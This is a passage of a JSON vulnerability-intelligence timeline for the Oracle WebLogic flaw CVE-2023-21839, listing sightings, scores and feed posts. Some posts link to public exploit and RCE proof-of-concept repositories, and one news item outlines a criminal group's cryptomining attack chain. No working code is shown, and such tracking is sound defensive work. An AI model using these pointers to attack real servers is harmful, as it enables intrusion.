"2023-12-03T13:47:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/6054", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "f7211aef-7059-4c37-b185-778686a170a1", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aA testing tool for CobaltStrike-RCE:CVE-2022-39197; Weblogic-RCE:CVE-2023-21839; MinIO:CVE-2023-28432\nURL\uff1ahttps://github.com/Romanc9/Gui-poc-test\n\n\u6807\u7b7e\uff1a#CVE-2023", "url": "https://t.me/GithubRedTeam/6054", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-12-04T05:09:32Z", "date_only": false, "value": "2023-12-04T05:09:32.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/1120", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "bc7bcc06-8df6-4dfa-9d47-33300cf3d3ae", "content": "#ExploitObserverAlert\n\nCVE-2023-21839\n\nDESCRIPTION: Exploit Observer has 57 entries related to CVE-2023-21839. Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.3.0, 12.2.1.4.0 and  14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nFIRST-EPSS: 0.956630000\nNVD-IS: 3.6\nNVD-ES: 3.9", "url": "https://t.me/arpsyndicate/1120"}, {"timestamp": "2023-12-10T17:39:47Z", "date_only": false, "value": "2023-12-10T17:39:47.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/1666", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "3cb34bbe-896f-4aa3-b540-4cf6c8fd9414", "content": "#ExploitObserverAlert\n\nCVE-2023-21839\n\nDESCRIPTION: Exploit Observer has 57 entries related to CVE-2023-21839. Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.3.0, 12.2.1.4.0 and  14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nFIRST-EPSS: 0.956630000\nNVD-IS: 3.6\nNVD-ES: 3.9", "url": "https://t.me/arpsyndicate/1666"}, {"timestamp": "2023-12-13T01:20:25.712Z", "date_only": false, "value": "2023-12-13T01:20:25.712691Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2023-21839", "record": "GSD-2023-21839", "field": "gsd.osvSchema.modified"}, {"timestamp": "2023-12-16T12:36:22Z", "date_only": false, "value": "2023-12-16T12:36:22.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/1819", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "6ce53fc4-1618-4377-967a-1cf2d55cf3c0", "content": "#ExploitObserverAlert\n\nCVE-2023-21839\n\nDESCRIPTION: Exploit Observer has 57 entries related to CVE-2023-21839. Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.3.0, 12.2.1.4.0 and  14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nFIRST-EPSS: 0.956770000\nNVD-IS: 3.6\nNVD-ES: 3.9", "url": "https://t.me/arpsyndicate/1819"}, {"timestamp": "2024-02-06T15:13:31Z", "date_only": false, "value": "2024-02-06T15:13:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/6572", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "fb6015e1-073d-4e29-9528-131ce09749aa", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-20931, this is the bypass of the patch of CVE-2023-21839\nURL\uff1ahttps://github.com/dinosn/CVE-2024-20931\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/6572", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-02-08T19:39:36Z", "date_only": false, "value": "2024-02-08T19:39:36.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/dilagrafie/2337", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "d3c17322-d122-462e-90ff-9eae5215c852", "content": "#Tools\u00a0 \ud83d\udee0\ufe0f \ud835\udddb\ud835\uddee\ud835\uddf0\ud835\uddf8\ud835\uddf2\ud835\uddff\ud835\ude00 \ud835\uddd9\ud835\uddee\ud835\uddf0\ud835\ude01\ud835\uddfc\ud835\uddff\ud835\ude06\n\n\u200b\u200bCTI Fundamentals\n\nA collection of papers, blogs, and resources that make up the quintessential aspects of cyber threat intelligence.\n\nhttps://github.com/curated-intel/CTI-fundamentals\n\n\u200b\u200bprotocurl\n\nprotoCURL is cURL for Protobuf: The command-line tool for interacting with Protobuf over HTTP REST endpoints using human-readable text formats\n\nhttps://github.com/qaware/protocurl\n\n\u200b\u200bmast1c0re\n\nDevelop payloads that can be executed on the PlayStation 4 or PlayStation 5 through a game save file.\n\nhttps://github.com/McCaulay/mast1c0re\n\n\u200b\u200bSerianalyzer\n\nSerianalyzer is a static bytecode analyzer tracing native method calls made by methods called during deserialization.\n\nThe main purpose of this tool is as a research tool to audit code for dangerous behavior during deserialization. It is not really useful to determine whether you application is vulnerable or not. If your application deserializes data crossing trust boundaries - you should assume it is.\n\nhttps://github.com/mbechler/serianalyzer\n\n\u200b\u200bAwesome Vulnerable Applications\n\nA curated list of various vulnerable by design applications\n\nhttps://github.com/vavkamil/awesome-vulnerable-apps\n\n\u200b\u200bTheThing\n\nOpen-source tool to detect DOM Clobbering vulnerabilities.\n\nhttps://github.com/SoheilKhodayari/TheThing\n\nDOM Clobbering? \u2192 https://domclob.xyz/\n\n#cybersecurity #infosec\n\n\u200b\u200bMineMe\n\nMineMe is a node tool that gathers information about a Minecraft account by scraping multiple websites. It should be really easy to make your own modules, so don't hesitate to fork and bring your own things.\n\nhttps://github.com/Nenaff/MineMe\n\n#minecraft #OSINT\n\n\u200b\u200bWifi-Hacking\n\nCyber Security Tool For Hacking Wireless Connections Using Built-In Kali Tools. Supports All Securities (WEP, WPS, WPA, WPA2/TKIP/IES)\n\nhttps://github.com/ankit0183/Wifi-Hacking\n\n\u200b\u200bVDP-Finder\n\nThis extension tells if visited sites have vulnerability disclosure programs\n\nhttps://github.com/yeswehack/yeswehack_vdp_finder\n\n\u200b\u200boss-vulnerability-guide\n\nA guide on coordinated vulnerability disclosure for open source projects. Includes templates for security policies (security.md) and disclosure notifications.\n\nhttps://github.com/ossf/oss-vulnerability-guide\n\n\u200b\u200bSentinelPS\n\nAzure Sentinel-related PowerShell scripts\n\nhttps://github.com/rod-trent/SentinelPS\n\n\u200b\u200bWeblogic CVE-2023-21839\n\nhttps://github.com/Scarehehe/Weblogic-CVE-2023-21839\n\n#cve #poc\n\n\u200b\u200bIntelMQ \n\nIntelMQ is a solution for IT security teams for collecting and processing security feeds using a message queuing protocol.\n\nhttps://github.com/certtools/intelmq\n\nBTC:\nbc1q62lwma4r3w3klq4mcn5hys9nps5h40qmafrc8e\n\n#Tools\u00a0 \ud83d\udee0\ufe0f \ud835\udddb\ud835\uddee\ud835\uddf0\ud835\uddf8\ud835\uddf2\ud835\uddff\ud835\ude00 \ud835\uddd9\ud835\uddee\ud835\uddf0\ud835\ude01\ud835\uddfc\ud835\uddff\ud835\ude06\nwww.ghostclan.org", "url": "https://t.me/dilagrafie/2337", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-03-22T15:42:38Z", "date_only": false, "value": "2024-03-22T15:42:38.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/-PMYKqFNcLaJdOUBsk5-oyra9fd6nCwZMBxV9rVe8rsei-E", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "27da6a9d-2e81-4034-b042-e2f2197caa69", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-06-06T19:08:56Z", "date_only": false, "value": "2024-06-06T19:08:56.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/zv0-WN1ekGzYSPAJbDAdNFDyGxKQy119XVSjXkoYLwf1MgNb", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "c1ef3b36-69df-4d54-bf31-5ee7b1d19ffc", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-06-13T14:24:39Z", "date_only": false, "value": "2024-06-13T14:24:39.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/TWFAujDiM9Q_sDIuwdzuCj1B9CB6p4iXNPfDtcfRQau4qapO", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "22c3d342-024f-4d96-a33d-234af0961cf2", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-06-13T22:47:27Z", "date_only": false, "value": "2024-06-13T22:47:27.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/df00WYSUjit1DWXpvNXHqs49rHh6V5cBerM4bfCs3-Ie", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "b1f46a38-244f-4695-98fb-6a2d64c78451"}, {"timestamp": "2024-06-28T19:48:04Z", "date_only": false, "value": "2024-06-28T19:48:04.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/itsec_news/4519", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "bd09c8b0-6f6a-4df7-b4b8-a7e411b2aa5a", "content": "\u200b\u26a1\ufe0f\u041c\u0430\u0439\u043d\u0435\u0440\u044b-\u043d\u0435\u0432\u0438\u0434\u0438\u043c\u043a\u0438: 8220 Gang \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 WireGuard \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0430\u0442\u0430\u043a\n\n\ud83d\udcac\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043d\u043e\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u043e \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0443 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u044b (\u043a\u0440\u0438\u043f\u0442\u043e\u0434\u0436\u0435\u043a\u0438\u043d\u0433\u0443), \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043c\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u043e\u0439 8220 Gang, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Oracle WebLogic Server.\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0438\u0437 Trend Micro \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u0432 \u0441\u0432\u043e\u0451\u043c \u0441\u0432\u0435\u0436\u0435\u043c \u043e\u0442\u0447\u0451\u0442\u0435, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u0431\u0435\u0441\u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a Reflective DLL Loading. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u041f\u041e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u0438\u0437\u0431\u0435\u0433\u0430\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043d\u0430 \u0434\u0438\u0441\u043a\u0435.\n8220 Gang, \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Water Sigbin, \u0447\u0430\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Oracle WebLogic Server, \u0432\u043a\u043b\u044e\u0447\u0430\u044f CVE-2017-3506, CVE-2017-10271 \u0438 CVE-2023-21839. \u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u043c\u0430\u0439\u043d\u0435\u0440\u0430.\n\n\u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 PowerShell, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u043f\u0435\u0440\u0432\u044b\u0439 \u044d\u0442\u0430\u043f \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 (\u00abwireguard2-3.exe\u00bb). \u042d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0434 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 WireGuard VPN, \u043d\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b (\u00abcvtres.exe\u00bb) \u043f\u0440\u044f\u043c\u043e \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e DLL (\u00abZxpus.dll\u00bb).\n\n\u042d\u0442\u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u0441\u043b\u0443\u0436\u0438\u0442 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 PureCrypter (\u00abTixrgtluffu.dll\u00bb), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0434\u043b\u044f \u0430\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u0438 \u043c\u0430\u0439\u043d\u0435\u0440\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u0430 Microsoft Defender.\n\n\u041a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435\u043c, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f XMRig, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043c\u0430\u0439\u043d\u0435\u0440 \u0441 \u0434\u043e\u043c\u0435\u043d\u0430, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438. \u0421\u0430\u043c \u043c\u0430\u0439\u043d\u0435\u0440 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0434 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b Microsoft (\u00abAddinProcess.exe\u00bb).\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e \u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u0449\u0438\u0442\u044b. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u0435\u0441\u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0442\u0435\u0445\u043d\u0438\u043a \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u044f\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Oracle WebLogic Server, \u0433\u0440\u0443\u043f\u043f\u0430 8220 Gang \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u0446\u0435\u043b\u0435\u0439. \u0418\u0445 \u043c\u0435\u0442\u043e\u0434\u044b \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0441\u0442\u0432\u0443\u044e\u0442\u0441\u044f, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0430\u0442\u0430\u043a\u0438 \u0433\u0440\u0443\u043f\u043f\u044b \u0432\u0441\u0451 \u0431\u043e\u043b\u0435\u0435 \u0438\u0437\u043e\u0449\u0440\u0435\u043d\u043d\u044b\u043c\u0438 \u0438 \u043e\u043f\u0430\u0441\u043d\u044b\u043c\u0438.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043c\u0438\u0448\u0435\u043d\u044c\u044e \u044d\u0442\u0438\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u0438 \u0441\u0442\u0430\u0440\u044b\u043c\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0438\u0445 \u043b\u0451\u0433\u043a\u043e\u0439 \u0434\u043e\u0431\u044b\u0447\u0435\u0439 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0430\u0442\u0430\u043a.\n\n\ud83d\udd14 ITsec NEWS", "url": "https://t.me/itsec_news/4519", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-08-02T09:51:51.244Z", "date_only": false, "value": "2024-08-02T09:51:51.244Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2023-21839", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-15T17:41:47.510Z", "date_only": false, "value": "2024-08-15T17:41:47.510+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0132", "record": "WID-SEC-W-2023-0132", "field": "document.tracking.generator.date"}, {"timestamp": "2024-09-17T13:56:26.860Z", "date_only": false, "value": "2024-09-17T13:56:26.860639Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2023-21839", "field": "containers.adp.1.metrics.0.other.content.timestamp"}, {"timestamp": "2024-09-17T13:56:26.860Z", "date_only": false, "value": "2024-09-17T13:56:26.860639Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2023-21839", "record": "FKIE_CVE-2023-21839", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2024-12-24T20:34:18.253Z", "date_only": false, "value": "2024-12-24T20:34:18.253979Z", "kind": "sighting", "label": "Seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971807", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "bf327197-9f6b-4a45-8007-0c388e49997b", "url": "https://feedsin.space/feed/CISAKevBot/items/2971807"}, {"timestamp": "2025-01-06T00:08:24.094Z", "date_only": false, "value": "2025-01-06T00:08:24.094017Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3leztqnzcuc2n", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "a0c3e392-8fff-48a3-a771-1f17c2d5baa5", "url": "https://bsky.app/profile/gothburz.bsky.social/post/3leztqnzcuc2n"}, {"timestamp": "2025-02-06T03:13:45Z", "date_only": false, "value": "2025-02-06T03:13:45.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "b0b19f95-9fb6-4143-9150-b591838054b7"}, {"timestamp": "2025-02-23T02:10:41Z", "date_only": false, "value": "2025-02-23T02:10:41.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "1613693e-9678-4f4b-940f-cd0a285a79a1"}, {"timestamp": "2025-02-23T04:10:50Z", "date_only": false, "value": "2025-02-23T04:10:50.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "8fc6a537-dd5d-4e1e-8b23-ab5aa3a46de1"}, {"timestamp": "2025-02-24T10:29:24Z", "date_only": false, "value": "2025-02-24T10:29:24.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/15217", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "602f0f55-cabb-4be4-b3b0-45e7622611a7", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aWeblogic CVE-2023-21839 RCE (\u65e0\u9700Java\u4f9d\u8d56\u4e00\u952eRCE)\nURL\uff1ahttps://github.com/outgoingcon/CVE-2023-21839\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/15217", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-02-24T16:00:08Z", "date_only": false, "value": "2025-02-24T16:00:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/qOGRN02zxh7X-pALZbUajuSx7WC-BrFnsJBUinVh29xifwg", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": 